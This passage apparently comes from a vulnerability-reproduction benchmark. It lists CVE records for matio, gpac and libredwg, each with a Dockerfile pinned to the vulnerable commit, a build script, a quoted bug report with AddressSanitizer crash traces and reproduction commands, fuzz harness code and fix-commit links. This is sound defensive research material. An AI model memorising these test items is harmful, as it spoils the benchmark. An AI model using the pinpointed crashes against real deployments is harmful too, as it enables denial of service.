0x100018075f80: f1 f1 04 f4 f4 f4 f2 f2 f2 f2 04 f4 f4 f4 f2 f2
0x100018075f90: f2 f2 00 f4 f4 f4 f2 f2 f2 f2 00 f4 f4 f4 f2 f2
0x100018075fa0: f2 f2 00 00 00 f4 f2 f2 f2 f2 00 00 00 00 00 00
0x100018075fb0: 00 00 f3 f3 f3 f3 f3 f3 f3 f3 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==32164==ABORTING
```
about code (1393):
```
/* Rank and dimension */
if ( uncomp_buf[0] == MAT_T_INT32 ) {
int j;
fields[i]->rank = uncomp_buf[1];
nbytes -= fields[i]->rank;
fields[i]->rank /= 4;
fields[i]->dims = (size_t*)malloc(fields[i]->rank*
sizeof(*fields[i]->dims));
if ( mat->byteswap ) {
for ( j = 0; j < fields[i]->rank; j++ )
fields[i]->dims[j] = Mat_uint32Swap(dims+j);
} else {
for ( j = 0; j < fields[i]->rank; j++ )
-------------------> fields[i]->dims[j] = dims[j];
}
```
Comments:
Comment by tbeu on 2019-11-09 08:27:34+00:00:
No need to report fuzzing issues since matio is on [OSS-Fuzz](https://bugs.chromium.org/p/oss-fuzz/issues/list?sort=-opened&q=proj%3Amatio&can=1) with still about 40 open issues.
Instead of v1.5.17, please rerun the test against current master and reopen if the issue is still reproducible.
---
Comment by gutiniao on 2019-11-11 07:09:41+00:00:
> No need to report fuzzing issues since matio is on [OSS-Fuzz](https://bugs.chromium.org/p/oss-fuzz/issues/list?sort=-opened&q=proj%3Amatio&can=1) with still about 40 open issues.
>
> Instead of v1.5.17, please rerun the test against current master and reopen if the issue is still reproducible.
Yes, I just use 'git clone' to fetch the current master of the matio,the issue is still reproducible.


i 'm sure the issue is different from the fuzzing issues on OSS-fuzz.
---
Comment by tbeu on 2019-11-11 21:17:05+00:00:
Should be fixed now.
---
Comment by carnil on 2019-12-27 08:41:04+00:00:
CVE-2019-20020 has been assigned for this issue.
---
Comment by tbeu on 2019-12-27 11:10:26+00:00:
OK, need to mention those CVE numbers in the changelog when making the new release.
|
[
{
"content": "// Copyright 2019 Google Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n// Adapter utility from fuzzer input to a temporary file, for fuzzing APIs that\n// require a file instead of an input buffer.\n\n#ifndef FUZZER_TEMP_FILE_H_\n#define FUZZER_TEMP_FILE_H_\n\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n\n// Pure-C interface for creating and cleaning up temporary files.\n\nstatic char* fuzzer_get_tmpfile(const uint8_t* data, size_t size) {\n char* filename_buffer = strdup(\"/tmp/generate_temporary_file.XXXXXX\");\n if (!filename_buffer) {\n perror(\"Failed to allocate file name buffer.\");\n abort();\n }\n const int file_descriptor = mkstemp(filename_buffer);\n if (file_descriptor < 0) {\n perror(\"Failed to make temporary file.\");\n abort();\n }\n FILE* file = fdopen(file_descriptor, \"wb\");\n if (!file) {\n perror(\"Failed to open file descriptor.\");\n close(file_descriptor);\n abort();\n }\n const size_t bytes_written = fwrite(data, sizeof(uint8_t), size, file);\n if (bytes_written < size) {\n close(file_descriptor);\n fprintf(stderr, \"Failed to write all bytes to file (%zu out of %zu)\",\n bytes_written, size);\n abort();\n }\n fclose(file);\n return filename_buffer;\n}\n\nstatic void fuzzer_release_tmpfile(char* filename) {\n if (unlink(filename) != 0) {\n perror(\"WARNING: Failed to delete temporary file.\");\n }\n free(filename);\n}\n\n// C++ RAII object for creating temporary files.\n\n#ifdef __cplusplus\nclass FuzzerTemporaryFile {\n public:\n FuzzerTemporaryFile(const uint8_t* data, size_t size)\n : filename_(fuzzer_get_tmpfile(data, size)) {}\n\n ~FuzzerTemporaryFile() { fuzzer_release_tmpfile(filename_); }\n\n const char* filename() const { return filename_; }\n\n private:\n char* filename_;\n};\n#endif\n\n#endif // FUZZER_TEMP_FILE_H_\n",
"filename": "fuzzer_temp_file.h"
},
{
"content": "// Copyright 2019 Google Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n// Adapter utility from fuzzer input to a temporary file, for fuzzing APIs that\n// require a file instead of an input buffer.\n\n#include <cstddef>\n#include <cstdint>\n#include <cstdlib>\n#include <string>\n#include <vector>\n\n#include \"fuzzer_temp_file.h\"\n#include \"matio.h\"\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t* data, size_t size) {\n FuzzerTemporaryFile temp_file(data, size);\n\n mat_t* matfd = Mat_Open(temp_file.filename(), MAT_ACC_RDONLY);\n if (matfd == nullptr) {\n return 0;\n }\n // TODO(https://github.com/google/oss-fuzz/pull/2761): use more complicated APIs\n // such as Mat_VarReadDataAll, Mat_VarReadDataLinear, Mat_VarReadNext, etc. \n Mat_Close(matfd);\n\n return 0;\n}\n",
"filename": "matio_fuzzer.cc"
}
] |
[
{
"sha": "7b4699854cc65874e13a8e6944cd8e62fa981068",
"url": "https://github.com/tbeu/matio/commit/7b4699854cc65874e13a8e6944cd8e62fa981068"
},
{
"sha": "a47b7cd3aca70e9a0bddf8146eb4ab0cbd19c2c3",
"url": "https://github.com/tbeu/matio/commit/a47b7cd3aca70e9a0bddf8146eb4ab0cbd19c2c3"
},
{
"sha": "12b211cda2ef5abec89304bd1ba3a79a82229feb",
"url": "https://github.com/tbeu/matio/commit/12b211cda2ef5abec89304bd1ba3a79a82229feb"
},
{
"sha": "65831b7ec829b0ae0ac9d691a2f8fbc2b26af677",
"url": "https://github.com/tbeu/matio/commit/65831b7ec829b0ae0ac9d691a2f8fbc2b26af677"
}
] |
gpac.cve-2022-27146
|
gpac/gpac
|
62bbb9f3977e358631ef395625471bbcf284785e
| 2022-02-22T07:38:45
|
gpac
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y build-essential pkg-config libz-dev
RUN git clone https://github.com/gpac/gpac gpac
RUN git -C gpac checkout 62bbb9f3977e358631ef395625471bbcf284785e
WORKDIR $SRC/gpac
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./configure --static-build --extra-cflags="${CFLAGS}" --extra-ldflags="${CFLAGS}"
make -j$(nproc)
|
/src/gpac
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/gpac/gpac/issues/2120
## Description:
Issue: gpac/gpac#2120
Title: There is a heap buffer overflow detected by AddressSanitizer
State: closed
Created by: AAArdu
Created at: 2022-02-16 11:57:40+00:00
Issue Body:
## Description
There is a heap buffer overflow detected by AddressSanitizer
## System info
```
Ubuntu 20.04.2 LTS
clang version 12.0.0-++20210402082642+04ba60cfe598-1~exp1~20210402063359.71
MP4Box - GPAC version 1.1.0-DEV-rev1759-geb2d1e6dd-master
```
## Build command
```
./configure --static-mp4box --prefix=`realpath ./install` --enable-sanitizer --cc=clang --cxx=clang++
```
## crash command
```
MP4Box -frag 1 -out /dev/null poc_file
```
## Pocs
[poc.zip](https://github.com/gpac/gpac/files/8079653/poc.zip)
## Crash output
```
==36294==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020000014f5 at pc 0x0000007ed95d bp 0x7fff9dbe5110 sp 0x7fff9dbe5108
READ of size 1 at 0x6020000014f5 thread T0
#0 0x7ed95c in gf_isom_apple_enum_tag /programs/mp4box/builds/build15/src/isomedia/isom_read.c:4347:9
#1 0x1578ec6 in isor_declare_track /programs/mp4box/builds/build15/src/filters/isoffin_load.c:787:8
#2 0x1583b47 in isor_declare_objects /programs/mp4box/builds/build15/src/filters/isoffin_load.c:1453:3
#3 0xd05c0d in isoffin_initialize /programs/mp4box/builds/build15/src/filters/isoffin_read.c:485:8
#4 0xb74a43 in gf_filter_new_finalize /programs/mp4box/builds/build15/src/filter_core/filter.c:441:8
#5 0xb73120 in gf_filter_new /programs/mp4box/builds/build15/src/filter_core/filter.c:395:7
#6 0xb5e1bb in gf_fs_load_filter_internal /programs/mp4box/builds/build15/src/filter_core/filter_session.c:1293:13
#7 0x911528 in gf_media_fragment_file /programs/mp4box/builds/build15/src/media_tools/isom_tools.c:3789:6
#8 0x4e6fdc in mp4boxMain /programs/mp4box/builds/build15/applications/mp4box/main.c:6439:7
#9 0x7f7b5af220b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
#10 0x41ea6d in _start (/programs/mp4box/builds/build15/bin/gcc/MP4Box+0x41ea6d)
0x6020000014f5 is located 0 bytes to the right of 5-byte region [0x6020000014f0,0x6020000014f5)
allocated by thread T0 here:
#0 0x499ccd in malloc (/programs/mp4box/builds/build15/bin/gcc/MP4Box+0x499ccd)
#1 0x12c648d in databox_box_read /programs/mp4box/builds/build15/src/isomedia/box_code_apple.c:247:22
#2 0x7ae1ed in gf_isom_box_read /programs/mp4box/builds/build15/src/isomedia/box_funcs.c:1826:9
#3 0x7ae1ed in gf_isom_box_parse_ex /programs/mp4box/builds/build15/src/isomedia/box_funcs.c:264:14
#4 0x12c53c3 in ilst_item_box_read /programs/mp4box/builds/build15/src/isomedia/box_code_apple.c:114:7
#5 0x7ae1ed in gf_isom_box_read /programs/mp4box/builds/build15/src/isomedia/box_funcs.c:1826:9
#6 0x7ae1ed in gf_isom_box_parse_ex /programs/mp4box/builds/build15/src/isomedia/box_funcs.c:264:14
#7 0x12c4d35 in ilst_box_read /programs/mp4box/builds/build15/src/isomedia/box_code_apple.c:47:8
#8 0x7ae1ed in gf_isom_box_read /programs/mp4box/builds/build15/src/isomedia/box_funcs.c:1826:9
#9 0x7ae1ed in gf_isom_box_parse_ex /programs/mp4box/builds/build15/src/isomedia/box_funcs.c:264:14
#10 0x7affe3 in gf_isom_box_array_read_ex /programs/mp4box/builds/build15/src/isomedia/box_funcs.c:1719:7
#11 0x132290a in meta_box_read /programs/mp4box/builds/build15/src/isomedia/box_code_meta.c:106:13
#12 0x7ae1ed in gf_isom_box_read /programs/mp4box/builds/build15/src/isomedia/box_funcs.c:1826:9
#13 0x7ae1ed in gf_isom_box_parse_ex /programs/mp4box/builds/build15/src/isomedia/box_funcs.c:264:14
#14 0x7affe3 in gf_isom_box_array_read_ex /programs/mp4box/builds/build15/src/isomedia/box_funcs.c:1719:7
#15 0x12f6245 in udta_box_read /programs/mp4box/builds/build15/src/isomedia/box_code_base.c:8075:13
#16 0x7ae1ed in gf_isom_box_read /programs/mp4box/builds/build15/src/isomedia/box_funcs.c:1826:9
#17 0x7ae1ed in gf_isom_box_parse_ex /programs/mp4box/builds/build15/src/isomedia/box_funcs.c:264:14
#18 0x7affe3 in gf_isom_box_array_read_ex /programs/mp4box/builds/build15/src/isomedia/box_funcs.c:1719:7
#19 0x7ae1ed in gf_isom_box_read /programs/mp4box/builds/build15/src/isomedia/box_funcs.c:1826:9
#20 0x7ae1ed in gf_isom_box_parse_ex /programs/mp4box/builds/build15/src/isomedia/box_funcs.c:264:14
#21 0x7ad3c1 in gf_isom_parse_root_box /programs/mp4box/builds/build15/src/isomedia/box_funcs.c:38:8
#22 0x7c8dc1 in gf_isom_parse_movie_boxes_internal /programs/mp4box/builds/build15/src/isomedia/isom_intern.c:351:7
#23 0x7c8dc1 in gf_isom_parse_movie_boxes /programs/mp4box/builds/build15/src/isomedia/isom_intern.c:814:6
#24 0x7cd1a6 in gf_isom_open_file /programs/mp4box/builds/build15/src/isomedia/isom_intern.c:934:19
#25 0x4e14d6 in mp4boxMain /programs/mp4box/builds/build15/applications/mp4box/main.c:5968:12
#26 0x7f7b5af220b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
SUMMARY: AddressSanitizer: heap-buffer-overflow /programs/mp4box/builds/build15/src/isomedia/isom_read.c:4347:9 in gf_isom_apple_enum_tag
Shadow bytes around the buggy address:
0x0c047fff8240: fa fa fd fd fa fa fd fd fa fa fd fa fa fa 00 00
0x0c047fff8250: fa fa 00 00 fa fa 00 00 fa fa 00 04 fa fa 00 fa
0x0c047fff8260: fa fa 00 00 fa fa 00 00 fa fa 01 fa fa fa 00 00
0x0c047fff8270: fa fa 00 05 fa fa 00 00 fa fa 00 01 fa fa 00 00
0x0c047fff8280: fa fa 00 00 fa fa 02 fa fa fa 00 00 fa fa 00 02
=>0x0c047fff8290: fa fa 00 00 fa fa 00 04 fa fa 00 00 fa fa[05]fa
0x0c047fff82a0: fa fa 00 00 fa fa 02 fa fa fa 00 00 fa fa 00 fa
0x0c047fff82b0: fa fa 00 00 fa fa 00 00 fa fa 06 fa fa fa 00 00
0x0c047fff82c0: fa fa 02 fa fa fa 00 00 fa fa 02 fa fa fa 00 00
0x0c047fff82d0: fa fa 03 fa fa fa 00 00 fa fa 02 fa fa fa 00 00
0x0c047fff82e0: fa fa 00 00 fa fa 00 03 fa fa 00 00 fa fa 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==36294==ABORTING
```
Attachments:
https://github.com/gpac/gpac/files/8079653/poc.zip
|
[] |
[
{
"sha": "f0a41d178a2dc5ac185506d9fa0b0a58356b16f7",
"url": "https://github.com/gpac/gpac/commit/f0a41d178a2dc5ac185506d9fa0b0a58356b16f7"
}
] |
libredwg.cve-2020-21834
|
libredwg/libredwg
|
d5a51c01023d5585ddf3dd17c83dbb3c81efc97e
| 2020-01-08T08:16:22
|
libredwg
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y autoconf libtool texinfo
RUN git clone https://github.com/libredwg/libredwg libredwg
RUN git -C libredwg checkout d5a51c01023d5585ddf3dd17c83dbb3c81efc97e
WORKDIR $SRC/libredwg
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
sh ./autogen.sh
./configure --disable-shared
make -j$(nproc)
|
/src/libredwg
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/LibreDWG/libredwg/issues/188#issuecomment-574492468
## Description:
Issue: LibreDWG/libredwg#188
Title: Several bugs found by fuzzing
Referenced comment by linhlhq on 2020-01-15 04:38:33+00:00:
**2.NULL pointer dereference n get_bmp ../../programs/dwgbmp.c:164**
POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_4c26d37/id:000203%2Csig:06%2Csrc:007151%2B000917%2Cop:splice%2Crep:64
```
=================================================================
==31948==ERROR: AddressSanitizer: SEGV on unknown address 0x62c097cf2538 (pc 0x7f0721de463e bp 0x0000e1e1e1e1 sp 0x7ffe6d2c5ea8 T0)
==31948==The signal is caused by a READ memory access.
#0 0x7f0721de463d (/lib/x86_64-linux-gnu/libc.so.6+0xbb63d)
#1 0x7f0721db4993 in _IO_file_xsputn (/lib/x86_64-linux-gnu/libc.so.6+0x8b993)
#2 0x7f0721da8976 in _IO_fwrite (/lib/x86_64-linux-gnu/libc.so.6+0x7f976)
#3 0x555a28f91ee4 in get_bmp ../../programs/dwgbmp.c:164
#4 0x555a28f91066 in main ../../programs/dwgbmp.c:280
#5 0x7f0721d4ab96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#6 0x555a28f916c9 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwgbmp+0x28f6c9)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0xbb63d)
```
|
[
{
"content": "[libfuzzer]\ndetect_leaks=0\n",
"filename": "fuzz_dwg_decode.options"
}
] |
[
{
"sha": "6757b07c65742277ae2ff5c9fe32157195726258",
"url": "https://github.com/LibreDWG/libredwg/commit/6757b07c65742277ae2ff5c9fe32157195726258"
},
{
"sha": "d447393a30df70531215e17baa609be5609c8614",
"url": "https://github.com/LibreDWG/libredwg/commit/d447393a30df70531215e17baa609be5609c8614"
},
{
"sha": "6ea3bdb8836e4c9833c78c1a983dab7b2ba88b31",
"url": "https://github.com/LibreDWG/libredwg/commit/6ea3bdb8836e4c9833c78c1a983dab7b2ba88b31"
},
{
"sha": "7fc210259cf00850627cafaad1267d541f69c2b7",
"url": "https://github.com/LibreDWG/libredwg/commit/7fc210259cf00850627cafaad1267d541f69c2b7"
},
{
"sha": "f955c0b8fde285a038befcd173bfb86a636890fc",
"url": "https://github.com/LibreDWG/libredwg/commit/f955c0b8fde285a038befcd173bfb86a636890fc"
},
{
"sha": "185889b5abc6ff68b071758b82cf20be11102326",
"url": "https://github.com/LibreDWG/libredwg/commit/185889b5abc6ff68b071758b82cf20be11102326"
},
{
"sha": "3cf9d1705ff51d6970970ca9e4911c2eab0d338b",
"url": "https://github.com/LibreDWG/libredwg/commit/3cf9d1705ff51d6970970ca9e4911c2eab0d338b"
},
{
"sha": "93c25124c191987af168ace9fe4b5623061874bd",
"url": "https://github.com/LibreDWG/libredwg/commit/93c25124c191987af168ace9fe4b5623061874bd"
},
{
"sha": "5650507fb5065c329984f19ce040fd83bd1a5298",
"url": "https://github.com/LibreDWG/libredwg/commit/5650507fb5065c329984f19ce040fd83bd1a5298"
},
{
"sha": "8e961a8ead7818b72f36bdf9eccd0d330e6ea231",
"url": "https://github.com/LibreDWG/libredwg/commit/8e961a8ead7818b72f36bdf9eccd0d330e6ea231"
},
{
"sha": "69b4132a0591b81fddd30588a67c79fc01e69c52",
"url": "https://github.com/LibreDWG/libredwg/commit/69b4132a0591b81fddd30588a67c79fc01e69c52"
},
{
"sha": "0075d173dbb015b72ed779d6ec7ca016841972f3",
"url": "https://github.com/LibreDWG/libredwg/commit/0075d173dbb015b72ed779d6ec7ca016841972f3"
},
{
"sha": "84d938b1d28d514eead8fdc21e7eec4fdfe053f5",
"url": "https://github.com/LibreDWG/libredwg/commit/84d938b1d28d514eead8fdc21e7eec4fdfe053f5"
},
{
"sha": "3d32e491b912cce17c6b8080b32872b1c11472c3",
"url": "https://github.com/LibreDWG/libredwg/commit/3d32e491b912cce17c6b8080b32872b1c11472c3"
},
{
"sha": "07470ca096ff1587fe3b9a57b8366cfcc043d131",
"url": "https://github.com/LibreDWG/libredwg/commit/07470ca096ff1587fe3b9a57b8366cfcc043d131"
},
{
"sha": "e685e689d05d4b7da9a61e9d0868a65db4f82469",
"url": "https://github.com/LibreDWG/libredwg/commit/e685e689d05d4b7da9a61e9d0868a65db4f82469"
},
{
"sha": "97cc629fbea0d8d81b33ce382214578f3379de09",
"url": "https://github.com/LibreDWG/libredwg/commit/97cc629fbea0d8d81b33ce382214578f3379de09"
},
{
"sha": "529decd91126d9a436ce2d0a84434ed7899be507",
"url": "https://github.com/LibreDWG/libredwg/commit/529decd91126d9a436ce2d0a84434ed7899be507"
},
{
"sha": "8e14a3ee22cc1f96b638ee36c1aba3bbea314687",
"url": "https://github.com/LibreDWG/libredwg/commit/8e14a3ee22cc1f96b638ee36c1aba3bbea314687"
},
{
"sha": "496702e3c2486adae863fd919f20e7a7490c847c",
"url": "https://github.com/LibreDWG/libredwg/commit/496702e3c2486adae863fd919f20e7a7490c847c"
},
{
"sha": "8a75ac27367343e531dd7ee1b61db70edf2e816a",
"url": "https://github.com/LibreDWG/libredwg/commit/8a75ac27367343e531dd7ee1b61db70edf2e816a"
},
{
"sha": "07c078aca71840f0f9a0dffb3032056d043858b0",
"url": "https://github.com/LibreDWG/libredwg/commit/07c078aca71840f0f9a0dffb3032056d043858b0"
},
{
"sha": "12dafc13a96cdaa019f95a6ca245e8b29d1763a5",
"url": "https://github.com/LibreDWG/libredwg/commit/12dafc13a96cdaa019f95a6ca245e8b29d1763a5"
},
{
"sha": "e03b16b603c566c317f7c5161cc7550360081dd0",
"url": "https://github.com/LibreDWG/libredwg/commit/e03b16b603c566c317f7c5161cc7550360081dd0"
},
{
"sha": "92feac9b0dcfe3193d479fc245f95a8d025db4d7",
"url": "https://github.com/LibreDWG/libredwg/commit/92feac9b0dcfe3193d479fc245f95a8d025db4d7"
},
{
"sha": "3f0faa6944648abca5fb64c6fc8f88b0dcbd9d1a",
"url": "https://github.com/LibreDWG/libredwg/commit/3f0faa6944648abca5fb64c6fc8f88b0dcbd9d1a"
},
{
"sha": "14a3ffe26d4bcd267c42471caebaf21185c16a4c",
"url": "https://github.com/LibreDWG/libredwg/commit/14a3ffe26d4bcd267c42471caebaf21185c16a4c"
},
{
"sha": "d7bdfbc83211fb8732ab12382f2c3bfab51e3480",
"url": "https://github.com/LibreDWG/libredwg/commit/d7bdfbc83211fb8732ab12382f2c3bfab51e3480"
},
{
"sha": "107b5e47f3de5d333405e0a201f495a4a905e96b",
"url": "https://github.com/LibreDWG/libredwg/commit/107b5e47f3de5d333405e0a201f495a4a905e96b"
},
{
"sha": "f6db9268d2d3ad568b6d3ba432ca2b5f2b3804a9",
"url": "https://github.com/LibreDWG/libredwg/commit/f6db9268d2d3ad568b6d3ba432ca2b5f2b3804a9"
},
{
"sha": "c0bbb7388465800f01683fa90d434026c852f06c",
"url": "https://github.com/LibreDWG/libredwg/commit/c0bbb7388465800f01683fa90d434026c852f06c"
},
{
"sha": "ea93bca48a63ddf70f7df017f2c21f38469a83af",
"url": "https://github.com/LibreDWG/libredwg/commit/ea93bca48a63ddf70f7df017f2c21f38469a83af"
},
{
"sha": "817e586f2bbce42cf9e75e118c1c7feae941669b",
"url": "https://github.com/LibreDWG/libredwg/commit/817e586f2bbce42cf9e75e118c1c7feae941669b"
},
{
"sha": "41ff7afc44babae1236c3587024ee84b57006990",
"url": "https://github.com/LibreDWG/libredwg/commit/41ff7afc44babae1236c3587024ee84b57006990"
},
{
"sha": "55295f939b6a8cfd7a25c40ea780d8c83e67b0db",
"url": "https://github.com/LibreDWG/libredwg/commit/55295f939b6a8cfd7a25c40ea780d8c83e67b0db"
},
{
"sha": "5064790b1bf390807bfa727139e40a3afd85183e",
"url": "https://github.com/LibreDWG/libredwg/commit/5064790b1bf390807bfa727139e40a3afd85183e"
},
{
"sha": "d6f8f351c34c4ad2b9e300a8b0718439467bd55a",
"url": "https://github.com/LibreDWG/libredwg/commit/d6f8f351c34c4ad2b9e300a8b0718439467bd55a"
},
{
"sha": "ba6aa54df0c78bc930b4ec71f72767f1a011d96e",
"url": "https://github.com/LibreDWG/libredwg/commit/ba6aa54df0c78bc930b4ec71f72767f1a011d96e"
},
{
"sha": "b7369a17445f8831582af3708a5e84362b0db536",
"url": "https://github.com/LibreDWG/libredwg/commit/b7369a17445f8831582af3708a5e84362b0db536"
}
] |
gpac.cve-2021-32440
|
gpac/gpac
|
185532656c97da3d7ed50a55871f5df42e0b89a9
| 2021-04-30T03:57:32
|
gpac
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y build-essential pkg-config libz-dev
RUN git clone https://github.com/gpac/gpac gpac
RUN git -C gpac checkout 185532656c97da3d7ed50a55871f5df42e0b89a9
WORKDIR $SRC/gpac
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./configure --static-build --extra-cflags="${CFLAGS}" --extra-ldflags="${CFLAGS}"
make -j$(nproc)
|
/src/gpac
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/gpac/gpac/issues/1772
## Description:
Issue: gpac/gpac#1772
Title: SEGV in gpac MP4Box function Media_RewriteODFrame
State: closed
Created by: JsHuang
Created at: 2021-04-30 08:25:12+00:00
Issue Body:
A SEGV issue was found in MP4Box, to reproduce, compile gpac as follows:
```
CC=gcc CXX=g++ CFLAGS="-fsanitize=address" CXXFLAGS="-fsanitize=address" LDFLAGS="-fsanitize=address" ./configure --enable-debug
```
run poc file :
```
./bin/gcc/MP4Box -hint poc -out /dev/null
```
Detailed ASAN result is as below:
```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==29303==ERROR: AddressSanitizer: SEGV on unknown address 0x602000021b70 (pc 0x7fc90a84caa9 bp 0x7ffee2653e40 sp 0x7ffee2653da0 T0)
==29303==The signal is caused by a READ memory access.
#0 0x7fc90a84caa8 in Media_RewriteODFrame isomedia/media_odf.c:135
#1 0x7fc90a84b02e in Media_GetSample isomedia/media.c:636
#2 0x7fc90a821813 in gf_isom_get_sample_ex isomedia/isom_read.c:1823
#3 0x7fc90a8218f3 in gf_isom_get_sample isomedia/isom_read.c:1843
#4 0x562b406cfc50 in HintFile /home/src/gpac/applications/mp4box/main.c:3412
#5 0x562b406dae70 in mp4boxMain /home/src/gpac/applications/mp4box/main.c:6209
#6 0x562b406db653 in main /home/src/gpac/applications/mp4box/main.c:6335
#7 0x7fc90a3990b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
#8 0x562b406c72ad in _start (/home/src/gpac/bin/gcc/MP4Box+0x182ad)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV isomedia/media_odf.c:135 in Media_RewriteODFrame
==29303==ABORTING
```
Credit : ADLab of Venustech
[poc_segv_media_odf_c_135.zip](https://github.com/gpac/gpac/files/6403912/poc_segv_media_odf_c_135.zip)
Comments:
Comment by JsHuang on 2021-08-11 02:31:03+00:00:
This is CVE-2021-32440
Attachments:
https://github.com/gpac/gpac/files/6403912/poc_segv_media_odf_c_135.zip
|
[] |
[
{
"sha": "f0ba83717b6e4d7a15a1676d1fe06152e199b011",
"url": "https://github.com/gpac/gpac/commit/f0ba83717b6e4d7a15a1676d1fe06152e199b011"
}
] |
matio.cve-2019-9034
|
tbeu/matio
|
55e506b9d46b5ee8036dc7933178f3c59e715ff1
| 2018-10-22T23:21:48
|
matio
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool
RUN git clone https://github.com/tbeu/matio matio
RUN git -C matio checkout 55e506b9d46b5ee8036dc7933178f3c59e715ff1
WORKDIR $SRC/matio
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./autogen.sh
./configure
make -j$(nproc)
make install -j$(nproc)
|
/src/matio
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/tbeu/matio/issues/103
## Description:
Issue: tbeu/matio#103
Title: some memory corruption problems when the library parse the mat file
State: closed
Created by: cool-tomato
Created at: 2019-02-20 02:24:30+00:00
Labels: bug
Issue Body:
I found several memory corruption problem in the library.
More details can be found at [here](https://github.com/TeamSeri0us/pocs/tree/master/matio).
Comments:
Comment by PhilipMorrisJones on 2019-03-07 04:54:21+00:00:
@tbeu, can you comment on this and say if it is a real vulnerability or not and if so when it is likely to be fixed?
There are 13 CVEs related to this
CVE-2019-9038 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is an out-of-bounds read problem with a SEGV in the function ReadNextCell() in mat5.c.
-- | --
CVE-2019-9037 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a buffer over-read in the function Mat_VarPrint() in mat.c.
CVE-2019-9036 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a heap-based buffer overflow in the function ReadNextFunctionHandle() in mat5.c.
CVE-2019-9035 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a stack-based buffer over-read in the function ReadNextStructField() in mat5.c.
CVE-2019-9034 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a stack-based buffer over-read for a memcpy in the function ReadNextCell() in mat5.c.
CVE-2019-9033 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a stack-based buffer over-read for the "Rank and Dimension" feature in the function ReadNextCell() in mat5.c.
CVE-2019-9032 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is an out-of-bounds write problem causing a SEGV in the function Mat_VarFree() in mat.c.
CVE-2019-9031 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a NULL pointer dereference in the function Mat_VarFree() in mat.c.
CVE-2019-9030 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a stack-based buffer over-read in Mat_VarReadNextInfo5() in mat5.c.
CVE-2019-9029 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is an out-of-bounds read with a SEGV in the function Mat_VarReadNextInfo5() in mat5.c.
CVE-2019-9028 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a stack-based buffer over-read in the function InflateDimensions() in inflate.c when called from ReadNextCell in mat5.c.
